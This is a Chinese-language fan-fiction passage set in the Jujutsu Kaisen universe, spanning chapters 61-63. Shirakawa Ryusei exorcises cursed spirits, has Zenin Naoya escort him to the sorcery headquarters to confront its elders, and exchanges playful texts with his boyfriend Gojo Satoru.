对方浓烈的愤怒和恐惧一起爆发出来,夹杂着后悔、惊慌、不甘、好奇、喜悦,乱七八糟,复杂到其他正常人都很难同时爆发这麽多情绪。 话说那股奇奇怪怪的喜悦是怎麽回事啊? 瞬间体察到对方情绪的白川琉世沉默了。 啊对,这家夥对强者一直有种莫名其妙的崇拜,对以前那个天与咒缚是,对悟也是,但前两者都是初见就给禅院直哉留下深刻印象的典型强者。 白川琉世这种初看“毫无特色”,咒力普普通通,一切都在禅院直哉雷点上的家夥,莫名其妙总是压他一头,现在更是把他甩到不知道哪里去,嫉妒、耻辱和慕强的本性一下子就打起来了。 白川琉世:一键屏蔽对方的精神状态。 谁要研究禅院直哉是怎麽想的啊,不过,正好对方撞上来了,不用白不用。 “直哉啊,真是辛苦你大老远跑来捉拿我这个通缉犯,我也不好意思让你白来,只好勉为其难跟你走一趟了。” 他把手机屏幕朝向禅院直哉,让对方看清楚屏幕上的东西。 那是乙骨发给他的通缉令截图。 上面那个明晃晃的赏金20万,让禅院直哉再次扭曲了面容。 什麽玩意?竟敢这麽羞辱他,他禅院直哉怎麽可能为了20万去抓诅咒师?这事传出去要被整个御三家耻笑至死的! 下意识想拒绝,并且为了打消白川琉世以为他是来找茬的念头,“不,我没想……” “你想,直哉,你想。”对放根本不听他的解释,自顾自把他安排的明明白白,“诅咒师白川琉世毫无抵抗之心,现在你就能把我缉拿归案了。” 禅院直哉:……? 这种无处使力的憋屈感……,琉世从小就不是什麽单纯的家夥,现在更是把毫无作用的道德感抛到了脑后。 只有这一件事上,还算勉强符合他的审美。 白川琉世没管对方明显盘算什麽的表情,往黄泉津比良坂里一掏。 “走之前我还有点小事要处理,等我一会,你不介意吧?”【你现在阅读的是 】 60-70 第61章 穷凶极恶,即刻扭送总监部 小小的包间,气温少说一下子狂降了二十度。一瞬间,禅院直哉感觉血液冻结,浑身冰冷,呼吸间寒气入体,肺部已经开始因为寒冷而疼痛了。 空中撕裂了一道巨大的黑色裂缝,令他充满压力的气息从中逸散出来,两个人形咒灵被锁链从裂缝中拖拽出来,摔在地上。 那种感觉错不了,是他小时候惹恼过白川琉世后,对方施加给他的气息,害他经常做噩梦的“死”的压力。 禅院直哉后退两步,紧紧贴在门上,急促地、小口小口地呼吸,眼中重新涌现出童年时的恐惧。 …… “最近没空理你们,打宿傩打得开心吗?” 白川琉世依旧坐在沙发上,脚边就是两个咒灵,漏瑚还好,浑身骨头散掉一样趴在地上,看到俯视他的男人,马上爬起来恭敬地跪在地上,头低低贴着地面垂着。 真人似乎完全失去意识了,躺在地上不断抽搐。 “问你话呢?开心吗?” 双腿交叠的男人,舒服地倚在沙发靠背上,头没低,只是视线下瞥,目光审视般地扫过漏瑚。 那种令人不由臣服的,看蝼蚁的目光…… “开、开心。”慌乱中,漏瑚连忙回答。 本身被宿傩折磨了好久,他一点脾气都没有了,再见到白川琉世,已经完全没办法进行抵抗。 “为什麽撒谎呢?”明明这个咒灵除了恐惧,内心深处还压抑着强烈的愤怒。 漏瑚冷汗往下流,宿傩是这样,喜怒无常,随意把他当玩具折磨,一言不合就砍掉人身体的各个部位,这个人也是这样,随心所欲地以折磨他为乐,愤怒让漏瑚头顶上的火山口又有冒火的趋势。 “不,不开心。” “这样就对了,我喜欢说实话的人。” 白川琉世操纵锁链,缠绕住漏瑚的脖子,随着锁链的越缠越紧,面前咒灵的情绪也越来越恐惧。 “不用那麽害怕,我会给你一个痛快的。” 早在遇到白川琉世的那一刻,这两个咒灵的结局只有死亡。 装作什麽也没发生,把他们放回去,当然不可能。他会在别人身上下刻印,从而能瞬间移动到目标身边,这点在羂索猜到他的身份后,自然会有所顾忌,只会放弃这两个咒灵同夥。 同样,白川琉世遇到了他们,也不可能放他们出去随意杀人。 “说实话,跟你的同伴比起来,你也没让我太生气。”这个咒灵竟然有自己的理想,并愿意为之付出生命,这种高级的情感让白川琉世在某种程度上也产生了一点尊重,“轮回转世吧,等降生在一个没有我的世界,再尝试你那可笑的理想。” 这点尊重让漏瑚被祓除地很快。 特级咒灵的咒力消失,身体瞬间消散,禅院直哉在不到5步远的距离站着,后背紧紧贴着门。 空气仿佛凝固了,在压力的加持下,这片空间异常安静,因此,下一秒的巨响才吓得禅院直哉生理性地颤抖了一下。 锁链灵活地拎起真人,往地上一掼,这麽一刺激,蓝发咒灵清醒了许多,看到白川琉世后,下意识想要变形,却发现自己的灵魂稳固如山,一动不动。 被、被固定住了…… 啊,啊啊啊,什麽…好害怕!好害怕好害怕,这到底是什……好想逃走,好想逃到任何一个能不被这个人找到的地方…… “你怎麽敢的啊?”白川琉世前倾身体,颇为认真地询问真人,“随便玩弄别人的灵魂,谁允许了?” 严格来讲,让别人的灵魂变形,这种事白川琉世可以做到,但他拒绝这麽做。 相反,每个灵魂都是黄泉的子民,黄泉津的职责是引导他们进入黄泉,对人类的灵魂,他同样有保护的义务,真人的行为是比在他眼前杀人更为严重的挑衅。 “不、不、不会做了……”蓝发咒灵贴在地上浑身发抖。 “啊?不会还想让我原谅你吧,以前做了就没事了?”锁链紧紧缠住真人的腹部,白川琉世用力一挤。 “吐出来!” 蓝发咒灵应声干呕一声,储藏在真人体内形态各异的改造人,争先恐后被呕了出来。 眼前怪异的一幕让禅院直哉暂时忘记了恐惧。 那是……人类吗?是人类吗?不知是几十还是上百个怪物,样子十分怪异,小的还没有巴掌大,大的快挤满了整个空间,一个个的全身除了皮肤几乎没有别的器官,五官倒是还在,正做出人类的神情,嘴里还不停痛苦地哀嚎。 “救救我。”“杀了我吧。”“好痛苦……” 禅院直哉拼命靠后,往门上贴自己的身体,好恶心的东西,不要碰到他的衣服。 锁链重新撕开裂缝,准备把改造人全送到黄泉津比良坂里。“先进去吧,没有危险,对你们来说就是一眨眼的功夫,等我忙完会来治疗你们的。” 那种啰嗦安慰怪物的样子,和刚才完全是两个人,禅院直哉诧异地扬起眉,琉世又变成之前那种自甘堕落的样子了,哈,悟君也是,怪不得他们能黏这麽紧。 改造人被放进了黄泉津比良坂中,白川琉世马上调整时间流逝的速率,等他有空治疗他们时,改造人那也只会觉得度过了很快的时间。 把改造人修复成原来的样子是很精细的活计,白川琉世现在也可以做,毕竟空间里时间的流逝被他调快了,做完也不耽误现实的时间。但是没心情——现在他正在气头上,没心思做精细活。 “直接祓除还真是便宜你了,既然如此,你再打几年的宿傩吧。”锁链把真人扔进宿傩所在的空间,把时间流速调到极慢,“等宿傩玩腻之前,你的生活一定很精彩。” 不投胎也无所谓,宿傩,那就变成他的全自动惩罚机吧。 …… 让禅院直哉围观他处理的“小事”,效果惊人的好,比两人不停打嘴炮管用多了。 禅院直哉马上答应了把他缉拿归案。 “不仅如此,我这种穷凶极恶的四级诅咒师,行为极其恶劣,造成的影响不可估量,还是直接把我扭送咒术总监部吧。” 禅院直哉克制住超级无语的情绪,现在的他并不敢招惹这个活爹。 嘴上不敢说,心里却疯狂吐槽,神金,琉世什麽时候也学会阴阳怪气了,这是在怪总监部把他的身价定太低了吗? 哈,真是搞笑,还不是他本来就是四级咒术师…… 糟了,禅院直哉浑身一僵,忘了琉世之前不能升级,全是因为被他故意找关系压着的,因此成为诅咒师也只能是四级。 汗流浃背了。 这种小事应该不会记仇吧?但听刚才的口气,好像真的在乎。 禅院直哉脸色发白,来到停车的地方,黑色的丰田世纪停在闹市,兼具低调和奢华的特性,非常符合禅院家老牌世家的气质。 就连司机也穿着和服,看到禅院直哉过来,下车叫了声少爷,拉开了后座车门。白川琉世毫不见外,先于禅院直哉踏进车内,让开车的司机明显一愣,用询问的眼神看向自家少主。 “我坐前面。”禅院直哉咬了咬后槽牙,自己拉开副驾驶的车门坐了进去。 后座是身份较高的人坐的位置,除非与自己的父亲一起出门,那里一直是禅院直哉的专属座位,被人抢了难免让他心中愤恨。 但是现在这种情况,没办法得罪琉世。 “去总监部。”语气冷淡地吩咐司机开车,禅院直哉掏出手机把玩着,分析着形式。 琉世的性格就算变化,底色也在那摆着,自己一开始骂了他,也只是被他假借惩罚咒灵威吓了一顿,因此,也不会因为总监部通缉他大动肝火,那麽他此行的目的是…… 肯定是因为悟君。 总监部那些人对悟君的所作所为,他颇有耳闻,悟君和琉世都对总监部为难自己的行为不放在心上,但受委屈的是对方就不一定了。悟君尚且没有什麽雷霆般的手段,但现在的琉世不一定。 真是笑死人了,所以只是为新交的男朋友出气去吗? 那样的话,倒也挺有意思。禅院直哉拿起手机发了一条消息,保险起见,还是让禅院家的人先回避吧。 “禅院大叔最近怎麽样?” 禅院直哉没想到后座那人起了闲聊的话头,慢一拍才明白禅院大叔说的是他父亲。 “还好……你的记忆?” “嗯?当然是全记起来了。” 禅院直哉沉默,对方肯定想起来小时候的那件事了,这种时候还是少说话为妙。 “禅院大叔还喝酒吗?”白川琉世仔细回忆着,偌大的禅院家,除了几个侍女,就没有让他有好感的人了,爽朗的禅院大叔差不多算半个。 “和以前没什麽区别。” 司机已经为禅院家开了十几年车,迎来送往没有他没见过的人,但后座那个人他却毫无印象。听起来似乎是家主和少主的旧识?他竖起耳朵,想更新自己的人际知识储备,却听到让他没把稳方向盘的一句话。 “禅院大叔在你们家倒还算个少见的正常人。” 车身摇晃了一下,司机接到了少爷飞过来的眼刀,那是夹杂着怨毒的一瞥,让司机惊出了一身冷汗。 接下来要疯狂降低存在感,司机的禅院家生存经验拉响了警报。 “哈哈,琉世真会开玩笑。” “我可没在开玩笑,你们禅院家肯定是被一代不如一代的诅咒缠上了。”毫不留情地奚落禅院直哉,白川琉世没有感到丝毫不好意思,“把禅院大叔的联系方式给我,之后有事找他谈。虽然他老是喝的醉醺醺的,但你们禅院家也没别人能正常交流了。” 当着直哉少爷的面这麽贬损禅院家,还不被当场片成一盘,这个人到底是什麽来头?司机听到这些话,都要觉得自己小命不保了。 更恐怖的是,他的余光看到少爷努力调整面部表情,挤出一个堪称谦逊的笑,转头说道,“当然了,这是我的联系方式,一会我把父亲推给你。” 第62章 是比恋人还要特殊的 [琉世对我而言,是什麽样的存在呢?] …… 车辆驶过十字路口,缓慢移动着。刚交傍晚五点,正是堵车的时候,从宽大的路口望过去,店铺招牌、巨型显示屏随着夜色降临依次点亮,整个涩谷街头沦为彩色霓虹的海洋。 行人在车辆间挤过,到处都是出来玩乐的年轻人,一切喧嚣、热闹、纷乱的明艳色彩、笑闹的声音,就算隔着眼罩,也通通被五条悟准确捕捉到。 虽然没和任何人说过,但他喜欢这种地方,每次出任务,他总会更愉悦地享受繁华的街景。 就好比有人喜欢在坐车的时候看到河流、麦田或大海一样。 做完上一个任务,坐车前往下个任务地点的途中,五条悟终于等到了自己老爹的电话,出于惯例,先等铃声急不可耐地响几次,预计暴脾气老爹马上就要忍不住冲到高专堵人,他才慢悠悠接通了电话。 “摩西摩西~,都已经一天了,你的消息现在好不灵通啊,老爹。” 和家里人打电话时,东京味的共通语自然地转换成了京都腔,起伏更明显的声调,更加婉转的转音和微微上扬的尾音,被五条悟说出一种挑衅的感觉。 听筒里传来一声近乎破音的“悟!!!” 哈,家里这个点应该还没吃晚饭吧?真是中气十足。 五条家前任家主,五条悟的父亲五条彻略带焦急的声音传出,“你那个男朋友是怎麽回事?不要在社交平台恶作剧,现在已经有很多人打电话来问我了,别人真的会相信。” “谁说是恶作剧了?就不能是真的男朋友吗?” 听筒中沉默了几秒,堪称暴怒的声音传来,“你在说什麽乱七八糟的!其他的都无所谓,就这个不行,不管你发了什麽,赶快删掉!” “你根本没看我发了什麽吧?也难怪,落伍的旧时代老头怎麽会玩社交平台,到时候别怪自己话说的太满。” 一听就是不知从哪听说这件事,就急匆匆打电话来训斥他了,不然以老爹和整个五条家对黄泉津的崇拜,还不得把琉世供起来啊。 那张照片上琉世的脸可是有金色纹路呢。 “你还想让我看?我都怕脏了自己的眼。家里不逼你相亲了,随便你根据喜好慢慢找一个,但是绝对不能是男人!” 嘁,真是难以沟通。五条悟不软不硬地和五条彻吵了几句,率先挂断了电话。他也没有很生气,老爹脾气本来就暴躁,两人有事没事总会吵几句,都习惯了。 母亲早就去世了,没有印象。从有记忆起,父亲面对他,都像面对着神龛,万分重视、小心翼翼,连带着五条家其他人的期待,把他捧到五条家的顶点。 但不熟悉—— 和父亲不熟悉,和其他所有人也不熟悉,不知道他们在想什麽,不知道侍女之间闲聊的时候为什麽会忽然相视一笑,不知道授课老师下了课后,为什麽会偷偷对侍女说,“今天的课又上完了,真是不容易呢,看到悟大人我就紧张。” 紧张的话为什麽不直接对他说? 那当然是不可能的,年幼的五条悟也明白这个道理,因为他就是造成对方紧张的原因。 一切都围绕在他身边,一切都与他无关,只有单一的感情流向他,其他都被“无下限”阻隔在外面。 因为强大而形成的,和术式无下限相比,同样不可能被打破的“无下限。” 那种“无下限”,难道也是保护他的吗?他不愿意承认这回事。 踏出童年时期,五条悟开始变得顽劣、难以管教,把五条家折腾的乌烟瘴气,直到有一次,五条彻忍无可忍,对他大喊了一声,“悟!道歉!” 这话出口,父子俩都愣了。 那种鲜活的,属于人类的感情,终于冲破了“无下限”,倾注到五条悟的心脏中。 他感受到了,并且一发不可收拾。 于是五条家收获了一个更加顽劣的继承人。 父亲更加频繁地训斥他,在吵架中两人关系熟悉了不少,他也慢慢改口叫父亲老爹。长老们看到他,尊重中又带着无奈,那种恨铁不成钢的感觉也让他舒服。侍女看到他把街头美食买回家来吃,大惊失色,不敢出声让他把东西丢掉,也害怕他吃这种东西不健康,表情犹犹豫豫,担心地皱眉,眼神中带着丝责备,那种表情也让他开心。 是喜欢的吧。 否则,不会以这种姿态活着。 …… 车辆依旧缓慢行驶,路况不太好,十分钟过去才走了十几米。五条悟掀开了一会眼罩,令普通人都眼花缭乱的霓虹彩光一股脑映入六眼,他眨了眨眼,享受了一秒巨大信息量扑面而来的冲击感。 很爽,好像夏天喝第一口冰可乐的感觉。 伊地知在开车,他的专属辅助监督无论什麽时候都显得有点皱巴巴的背影,此时也有些精神抖擞的意味。今天得知琉世还活着的消息,伊地知格外高兴,拿到了琉世的电话号码,估计正盘算一会打电话给年少时的同窗呢。 叮—— 手机屏白光亮起,是琉世发来了消息。 [琉世:猜猜我现在和谁在一块呢?] [悟:嗯?背着我偷偷和别人约会?] [琉世:……悟,能撤回吗,我要做噩梦了。] [悟:猫猫大笑。jpg] [琉世:是你青梅竹马。] [悟:?] [悟:我哪有这种东西。] [琉世:图片] 五条悟抱着真切的疑惑点开,青梅竹马?琉世在说什…… 图片放大,看得出来琉世是在车的后座上拍的,目标在副驾驶上,尽管有靠椅挡着,五条悟凭借对方的发型和和服,马上就认出了这是禅院直哉。 [悟:这明明是琉世你的青梅竹马吧,我小时候又没在禅院家住过。] [琉世:明明是悟的,你比我认识他早,还每年都见面,这还不能算作青梅竹马吗?] 五条悟没忍住,噗嗤笑了出声。琉世怎麽回事,恶心人的功力见涨啊。 接下来两人就不停地[你的][明明是你的][是你的才对][是你的],这麽互相回复着废话。 [悟:你们要去做什麽坏事?] [琉世:禅院直哉把我逮捕了,要押送我去总监部。] [琉世:小狗委屈。jpg] 行啊白川琉世,已经学会发表情包了。 轻柔的笑声传入伊地知耳中,辅助监督不禁竖起耳朵,五条先生笑得格外温柔,啊,难道是在和白川发消息。 戴着黑框眼镜的青年也会意地笑了。 [悟:没关系,琉世只是四级诅咒师,交点保释金就能出来。只要叫一声,五条悟大人请帮帮我,我就帮你怎麽样?] 哈,你扭送禅院直哉去总监部还差不多,又卖乖,心机坏狗。 [琉世:坏猫。] 五条悟:! 他坐直身体,不可置信地看着聊天框,什麽什麽,白川琉世,你胆大包天! [琉世:奚落我?太坏了,我要告到咒术总监部。] 纤长的手指快速敲打屏幕,五条悟火速打出一行字发送。 [悟:下次见面准备好接受惩罚吧。] 哈,看到这句话,肯定又会心猿意马,头昏脑涨到不知道自己姓什麽了。 笑死,琉世,乖乖认输吧。 果然,那边的正在输入中维持了好久。 [琉世:嘿嘿。] “噗。”五条悟又抖着肩膀笑起来。 [悟:你去总监部做什麽,剥橘子皮吗?] [琉世:怎麽会!我很和善的,而且热爱保护动植物。] 五条悟笑意收敛了一点,琉世去总监部的意图他明白,那些烂橘子死不足惜,除此之外没什麽好说的。 对琉世来说,不杀人不仅仅是为了他,同样也是琉世自己的选择。 五条悟很清楚这一点。 杀人是最简单的事,如果愿意,他和琉世能轻松杀光一个国家的人。 但没意义,那样会离他们的道路越来越远。 “未来的记忆”中,他失败了,对战宿傩之前,为了学生,杀光了总监部里那群耀武扬威的烂橘子。 明明十年前在最上那里,已经选择了第三条路,但在已经改变的现在,也没做出什麽起色。 在非此非彼的那条路上,琉世会怎麽做呢? 或许是还没回复的时间有点久,琉世又发来了消息。 [琉世:什麽也不用担心,悟。] [悟:什麽?担心你还是烂橘子?都没有必要嘛。] [琉世:什麽?一点都不担心我,这也太过分了。] [悟:你有点渴望过度关注了,琉世。] [琉世:只渴望悟的关注。] 真敢说啊,白川琉世。五条悟点开发送文档功能,把一个压缩包发过去。 [悟:总监部那些烂橘子的数据,性格全都傲慢又差劲,有几个格外难缠。琉世,你那老年机能打开吗?] 对面接收了压缩包,马上回复。 [琉世:没关系,在我这里,他们不会有性格这种东西。(微笑)] [悟:哇哦,你很狂妄啊。] [琉世:哪里,一般般啦。] [悟:嗯?是谁在夸奖你啊?] [琉世:悟,今天打算几点睡?] 五条悟的笑意凝固住了。 原来这就是恋爱的感觉吗,那种被恋人问到不健康的作息后,忽如其来被抓包的感觉,根本没办法理直气壮地说出自己4点睡觉这种话。 [悟:明明知道你还问,就是想看我为难的样子吧?好阴暗啊。] 等了一会,琉世没有再回复,五条悟把屏幕按灭,心想琉世肯定心痛到不行了吧,但这次却没有在“恋爱心计”中让对方吃瘪的愉悦。 …… 几滴雨轻柔地打在车窗上,后又急促起来。下雨了,街道的喧嚣被水声洗了一遍,变得朦胧遥远。 不知从什麽时候开始,大概是刚实质性地接触过,他就能自然地感受到琉世的感觉,琉世对他绝对也是一样,那种心与心之间互相连通的感觉,并未出现在其他任何人身上。 琉世的情况也没有更好,招惹咒灵的体质让他不得不游离于人类世界外,像孤魂野鬼一样,一个人生活在山上,根本没办法被周围人影响,成为普通的人类。 再加上那个“心想事成”的能力,不如说他根本拿捏不清正常的人类拥有什麽样的极限,到底是什麽样子。 通过和妈妈通电话、定期见面,通过感受产屋敷家和竈门家散播出的善意,通过不停地看漫画,琉世本能地塑造了自己的性格。 在那样极致的孤独中,白川琉世怎麽会成长为如此善良、温柔的人? 真是奇迹啊。 嘁,真是疯的不轻。想到恋人那张十足的反派脸,用善良和温柔这样的词形容他,大家一定会认为五条悟恋爱脑没救了。 但那是事实。 当时高专的大家还挺奇怪,明明看起来只是白川琉世单纯暗恋他,为什麽五条悟会对短暂出现在自己生命中的家夥念念不忘。 那不一样。 自己完全理解自己,认同自己,做喜欢的事,那样便足够了。是的,喜欢着这个世界,同时对这个世界,没有过多的期待。 但是,被看到了。 那双同样不可思议的眼睛,如辉映的太阳一般,穿过一切阻碍,把目光落在他身上。 完完全全地被看到了。 世上再也没有像他们两个这样特别的人,降生在这个世界上简直格格不入,因为相似,所以自然明白对方的处境和心情,理解成了水到渠成的事,各自的选择总会被对方认可,自然地像是自己做出的选择。 只是存在就驱散了孤独,怎麽能忘得掉呢? 当时还说什麽被他引导,五条悟想起这件事就想笑,琉世偶尔也有一根筋的时候。 一个人最终变为什麽样子,完全是看自己的选择。被他引导,也只是琉世本能地选择被引导,选择与他相同的道路。 白川琉世选择善的一边,五条悟选择践行理想,是只有双方能感受到的奇迹。 …… [是比恋人还要特殊的,奇迹一般的同类。] 第63章 情况未明,先不许嗑! 1月4日17:20分,东京郊区,小雨。 冬天天黑的早,正是将暗未暗的时候,黑色豪车一路疾驰,碾着水花停在咒术总监部门口。 “挺气派嘛,离高专还挺近。” 白川琉世自己开门下车,走入雨中。总监部的政务大楼看起来建了有几十年了,充满了昭和时期的年代感。 司机先去后备箱拿雨伞,然后拉开车门,打着伞让禅院直哉下来,被坏脾气的禅院家少主一把打掉。 “行了,你等着吧。” 司机匆忙捡起雨伞,后退两步,不敢说话。 白川琉世向大楼走去,门口有安保人员,不过看到跟在后面的禅院直哉,什麽也没说,让两人进去了。 “看来你常来啊,直哉。” “哪里,只是偶尔来一次。” 他在大厅中间停下脚步,里面同样气派,宽敞的空间,巨大的水晶灯,充足的暖气,前台附近还有一整面放着古董的墙,就连前台小姐也严整地穿着蓝色制服,嘴唇勾出15度微笑。 “禅院少爷,欢迎您的到来。” 白川琉世看向禅院直哉,“就说你这张脸好用,该发挥一点你的作用了。” 禅院直哉只是一味咬牙微笑,也是,如果琉世自己来,估计第一步就会被拒之门外。和小角色纠缠最浪费时间,又不能随便杀了,啧,琉世这家夥什麽时候学会搞这一套了。 这次也是撞枪口上了。 “你要见谁呢?还有不到十分钟,他们就都下班了。”禅院直哉态度良好地说。 “五点半就下班?怎麽敢的啊?”悟淩晨4点才能睡觉,狗东西们下午五点半就敢下班,白川琉世未消的怒气又涨了一截,“十分钟内,我要见所有管事的高层。” 真是狂妄的口气,禅院直哉下意识这麽想,但是琉世沉着脸下发命令的样子—— 无法违抗。 完了,到了无法转圜的地步,这次禅院家必须选一边站了。 青年冷笑着,目光是沉甸甸的、寒冷的锐器,直视禅院直哉的时候,那种压迫感比小时候不知强了多少倍。空气好像凝成了实质,死死压在胸口,禅院直哉拼劲全身力气,才使肺部艰难地汲取了一口氧气。 “当、当然。” 被雨淋湿的衣服,又被汗浸湿了。 前台小姐睁圆了眼睛,15度的微笑焊死在脸上忘记收回去,让人无法呼吸的压力同样波及到了她,这是……什麽情况?禅院家的少爷被人威胁了吗?要不要按紧急报警按钮? 按钮就在桌下,但手颤抖着,怎麽也抬不上来。如果按了之后被发现,一定会被杀死吧? 禅院直哉佯装镇定地走到前台,“我以禅院家的名义召开一次紧急会议,请通知各位部长及以上高层参加。” 前台小姐看着面前的禅院直哉,余 光瞥过同样跟在后面走过来的陌生男人,手伸向座机电话,却紧张地拿不起来听筒。 “五条葵。” “诶?” 五条葵手一抖,好不容易拿起来的听筒砸出一声巨响,掉在桌子上。 那个男人为什麽忽然叫她的名字,他怎麽知道……?匆忙把听筒捡起来,低头的时候五条葵看到了自己胸前的胸牌,啊,是通过这个看到的。 但为什麽叫自己的名字?哪里得罪他了吗? 白川琉世打量了眼女孩,五条葵有张显小的脸,杏眼、短短的脸,一眼看过去是可爱的风格,目测二十岁上下,但根据盘起来的发型和妆容推测,本人或许没有看起来那麽年轻。 他走近了才发现对方胸牌上的姓是五条,这并不是烂大街的姓氏,特别是在总监部见到,肯定是五条家的人,不论关系远近,大概也是悟的表妹之类的。 哈,他们家的人是不是都天生不显年龄啊。 “吓到你了吗?抱歉,请打电话通知吧。” 忽然变得温和的语气,令在场两个人都楞了,禅院直哉尽力移开目光,差点恶心地吐出来,琉世巴结五条家真是面面俱到啊。 五条葵则是迟钝地“诶?”了一声,为那人一百八十度大转变的态度感到疑惑,但职业素养让她重新挂上笑容,“您客气了,我马上打电话。” 电话打到总监秘书处,因为是禅院家特意要求的紧急会议,秘书说马上载达给各位高层。 什麽嘛,五条葵在心里抱怨,禅院家就这麽有面子?现在这世道真是烂透了,善于逢迎投机取巧的吃的这麽开,悟大人这种辛辛苦苦保护大家的,说话反而没有分量。 家里经常因为这个吵架,虽然她没资格参与家族会议,但大家多少都知道,彻大人对悟大人的处事方式一直不满,近些年御三家在总监部的分量大不如前,五条家更是越来越被边缘化。 五条家作为御三家树大根深,说句和咒术界共存亡也不为过,下牌桌是不可能的,但地位降低是无法否认的事实。 确定了会议室,五条葵挂了电话,报出房间号。那种迫人的恐怖气息早就消失不见了,她大着胆子抬头一瞥,只看到一片灼目的金色。 金色的眼睛?怎麽好像脸上也有同色的纹路。 不奇怪,反正咒术师全都是疯子,什麽怪人都有。微笑着目送两人上了电梯,五条葵冷漠地想。 [葵:姐姐,我刚才差点吓死了,总监部来了个怪人。] 五点半了,要下班了,五条葵边收拾东西,边给姐姐发消息。没想到的是,平时很忙碌的姐姐马上就回了消息。 [枫:那里全都是怪人,有什麽好大惊小怪的。] [枫:刚要找你,看看这个。] [枫:图片] 图刚被发出来,五条葵就大叫一声。 这不是刚才那个怪人的照片吗?不不不,不止!这不是悟大人的社交账号吗? [男朋友,超帅的(墨镜笑)] 五条葵早就看到了那行字,但脑子还需要消化一下。 [葵:啊啊啊啊啊姐姐这是什麽意思嘛?真的假的?悟大人交男朋友了?] [葵:我刚才看到的那个怪人就是照片上的人,他和禅院直哉一起来的,好像要找高层的麻烦。] [葵:诶?我怎麽没在悟大人的社交平台看到这个?] …… 这下轮到五条枫想要尖叫了,但作为悟大人侍女长的涵养不允许她这麽做。 [枫:悟大人删掉了动态,估计是被彻大人骂了。] [枫:你赶紧离开总监部,别为了凑热闹把自己搭进去。] [葵:肯定的嘛,都下班了,我才不加班。] 五条枫松了口气,轻手轻脚拉开障子门,作为姐妹,她和葵有八分相似,最大的区别就是眼睛没有那麽圆,更显干练淩厉。 和室中坐着一个衣着传统的中年女人,正眯着眼睛,仔细端详着手机屏幕上的照片。 五条枫忍俊不禁,家里的长辈们都不太会用流行软件,和枝姑姑看的那张还是她截图用邮件发过去的。 “您已经看了好久了,和枝姑姑,怎麽,您认识那个人吗?” 五条和枝摇摇头,端庄美丽的女人,脸上一直挂着发自内心的喜悦笑容。 “我就说嘛,神明一直保佑着悟大人。” “和枝姑姑,你不会真的信这种说法吧?脸上那个估计是巧合啦。” “现在的年轻人,真是越来越不遵守传统,也不尊重神明了。”五条和枝嗔怪道。 两人关系很好,五条枫并不怕她,同样揶揄回去,“传说只是传说,你也该接受下新事物了。哎呀,也有可能是和枝姑姑从小不停地骗悟大人黄泉津喜欢他,他才找了个有那样纹身的男朋友呢。” 五条和枝:“……” 她伸手指向庭院:“悟大人的院子安排人打扫了吗?就算他不回来住,你也不能松懈啊。” 哈哈,和枝姑姑生气了。说起来,她和彻大人那一代的都很相信黄泉津的传说。 走出和室,五条枫手中的手机又响了一声,她点开屏幕,脑子里却还回想着刚才的事。悟大人为什麽会删掉动态呢?不可能是因为被彻大人骂了才乖乖删掉的,相反,如果有和彻大人对着干的机会,悟大人才不会轻易认输。 一个不可置信的想法闪过,五条枫一个愣神。 不会吧,不会是已经年满28岁的悟大人,真的相信自己男朋友是神明,抱着“还是先保密吧,到时候把神明男朋友晾出来,给笨蛋老爹一个下不来台”这样的想法,才删掉动态的吧? 不要啊!五条枫在脑内尖叫,本来还以为悟大人在开玩笑,这麽真情实感的话,这下可能真是被坏男人骗走了! 手机又响了一下,五条枫麻木低头看向屏幕。 [葵:哇啊!刚才听到二楼会议室一声巨响,就是悟大人男朋友去的那间。] [葵:嘿嘿,悟大人的男朋友,是不是为他出气去了?] [枫:你快回家!情况未明,先不许嗑!] …… “诸位好啊,怎麽排场这麽大,是见不得人?还是把自己当天皇了?” 会议室不算十分宽敞,里面没有亮灯,只有窗外越来越暗的自然光透进来。白川琉世推开门走进去,扫视一眼,里面不像现代会议室一样拥有长桌和椅子,而是每人一个立式屏风,跪坐着藏在屏风后看人,只留黑漆漆的影子滑出屏风边缘。 真是好大的排场,真以为自己是天皇吗?当初,天皇坐在御帐台内,面对他时,也不敢大大咧咧地把屏风竖在两人面前。 白川琉世走到那群见不得人的东西面前,直到脚步停下,一声巨响传来,所有的屏风全都化为齑粉,露出一张张皱巴巴的老脸。 看样子平均年龄都有八十岁了,总监部没有退休制度吗? 没人回答白川琉世的问题。 跟在后面的禅院直哉不由生出毛骨悚然的危机感,抬眼看过去,却发现高层们全都僵在原地,就连表情都一变不变,唯一证明他们是活人的,只有眼中惊恐愤怒的神色。 “感觉你们一定会吵得不得了,先安静一会,这不过分吧。”白川琉世目光略过所有人,在场大概有十几个老的掉渣的家夥,“直哉,总监在吗?” “总监去国外出差了,不过,总务在这。”禅院直哉很识相地把视线投向C位那个人。 白川琉世回忆着自己刚刚看过的数据,悟发给他的东西也不是一点没看。 咒术总监部对所有咒术师拥有统领和管制权,其中,职位最高的是总监,由御三家统一意见共同推荐,最终由首。相任命。 再低一级的是总务,负责人事、行政、财务事项,然后是战术指挥部、对外协调部等各个部长及副部长,这些人组成了总监部的高层。 除此之外,由御三家和咒术界一些中等家族族长组成的长老会,也拥有一定话语权。虽然无权直接插手总监部的具体事务,但可以进行高层的人事罢免,只是操作起来没有那麽简单。 “被我点到名字的人才可以说话。”他拿起手机,刚要打开压缩包,就收到一个视频请求。 悟带着眼罩,单手比“耶”,笑得张扬又帅气的头像弹出来,白川琉世不顾场合,马上点了接通,同时露出微笑。 “琉世,你那老年机竟然有前置摄像头。” 五条悟举高手机,翻转摄像头,让白川琉世看清楚他那边的情况。 雨纷纷落,被隔绝在无下限外,四周近乎完全黑了,能看得出是个幽深的小巷,不远处就是霓虹闪烁,看来还在闹市。 “挺好用的,挂到二手网站应该会有人买。”白川琉世看到悟的摄像头又转回前置,冷白的光照在对方脸上,高挺的鼻梁下,淡色的唇格外亮晶晶,“悟,在做任务吗?” 看来他问了多余的话,镜头一阵晃动,悟忽然转了个身,然后白川琉世的视线又被稳稳固定住了。 “现在做完了。” “效率很高嘛,悟。” “这是当然的了,轻轻松松。” 白川琉世把手机对准禅院直哉,“看,你的青梅竹马。直哉笑一个。” 禅院直哉不情不愿地挤出礼貌的微笑。 “什麽?明明是你的。”“是你的。”“你的才对。”“就是你的。” 他们俩莫名其妙打起了口水仗,禅院直哉悄悄握紧拳头,额角青筋爆起。哈,这是在羞辱谁呢?他禅院家继承人难道会让他们谁丢人吗? “你们现在在总监部吧?琉世,那群烂橘子没说什麽难听的话吧?” 应该是想说的,但这不是没给他们机会嘛。 白川琉世扫了眼排排坐的老东西们,忽然觉得哪里不顺眼,啊,对了,他站着,那群人凭什麽敢坐着,这太不对了。 “没有,大家都很友善。” 